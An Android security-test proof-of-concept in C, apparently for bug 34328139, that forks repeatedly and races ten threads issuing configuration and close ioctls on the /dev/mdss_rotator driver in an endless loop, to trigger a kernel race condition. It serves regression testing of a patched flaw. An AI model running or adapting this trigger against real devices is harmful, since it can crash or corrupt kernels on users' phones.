Home | History | Annotate | Download | only in Bug-34328139
      1 /*
      2  * Copyright (C) 2017 The Android Open Source Project
      3  *
      4  * Licensed under the Apache License, Version 2.0 (the "License");
      5  * you may not use this file except in compliance with the License.
      6  * You may obtain a copy of the License at
      7  *
      8  *      http://www.apache.org/licenses/LICENSE-2.0
      9  *
     10  * Unless required by applicable law or agreed to in writing, software
     11  * distributed under the License is distributed on an "AS IS" BASIS,
     12  * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
     13  * See the License for the specific language governing permissions and
     14  * limitations under the License.
     15  */
     16 #define _GNU_SOURCE
     17 
     18 #include <pthread.h>
     19 #include <sys/types.h>
     20 #include <sys/wait.h>
     21 #include <stdio.h>
     22 #include <fcntl.h>
     23 #include <errno.h>
     24 #include <unistd.h>
     25 #include <string.h>
     26 #include "local_poc.h"
     27 
     28 
     29 int fd;
     30 struct mdp_rotation_config config;
     31 int id;
     32 int status[10];
     33 int cmd = 0;
     34 
     35 void *threadForConfig(void *arg)
     36 {
     37     int index = (int) (unsigned long)arg;
     38 
     39     status[index] = 1;
     40 
     41     while (cmd != 1) {
     42         usleep(10);
     43     }
     44 
     45     if (cmd == -1)
     46         goto failed;
     47 
     48     usleep(5 * index);
     49     ioctl(fd, MDSS_ROTATION_CONFIG, &config);
     50 failed:
     51     status[index] = 2;
     52     return NULL;
     53 
     54 }
     55 
     56 void *threadForClose()
     57 {
     58     status[0] = 1;
     59 
     60     while (cmd != 1) {
     61         usleep(10);
     62     }
     63 
     64      if (cmd == -1)
     65         goto failed;
     66 
     67     usleep(50);
     68     ioctl(fd, MDSS_ROTATION_CLOSE, id);
     69 failed:
     70     status[0] = 2;
     71     return NULL;
     72 }
     73 
     74 int main()
     75 {
     76     int ret, i, count;
     77     pthread_t tid[5];
     78     int p = 5;
     79 
     80     count = 0;
     81 retry:
     82     if (p-- > 0){
     83         fork();
     84     }
     85 
     86     cmd = 0;
     87     for (i = 0; i < 10; i++)
     88         status[i] = 0;
     89 
     90     fd = open("/dev/mdss_rotator", O_RDONLY, 0);
     91     if (fd < 0) {
     92          return -1;
     93     }
     94 
     95     ret = ioctl(fd, MDSS_ROTATION_OPEN, &config);
     96     if (ret < 0) {
     97             goto failed;
     98     } else {
     99         id = config.session_id;
    100     }
    101 
    102     ret = pthread_create(&tid[0], NULL, threadForClose, NULL);
    103     if (ret != 0) {
    104         goto failed;
    105     }
    106 
    107     for (i = 1; i < 10; i++) {
    108         ret = pthread_create(&tid[1], NULL, threadForConfig, (void *)(unsigned long)i);
    109         if (ret != 0) {
    110             cmd = -1;
    111             goto failed;
    112         }
    113     }
    114 
    115     while (status[0] != 1 || status[1] != 1 || status[2] != 1
    116         || status[3] != 1 || status[4] != 1 || status[5] != 1
    117         || status[6] != 1 || status[7] != 1 || status[8] != 1
    118         || status[9] != 1) {
    119         usleep(50);
    120     }
    121 
    122     cmd = 1;
    123     usleep(10);
    124     ioctl(fd, MDSS_ROTATION_CONFIG, &config);
    125 
    126     while (status[0] != 2 || status[1] != 2 || status[2] != 2
    127         || status[3] != 2 || status[4] != 2 || status[5] != 2
    128         || status[6] != 2 || status[7] != 2 || status[8] != 2
    129         || status[9] != 2) {
    130         usleep(50);
    131     }
    132 
    133 failed:
    134     close(fd);
    135     goto retry;
    136 
    137     return 0;
    138 }
    139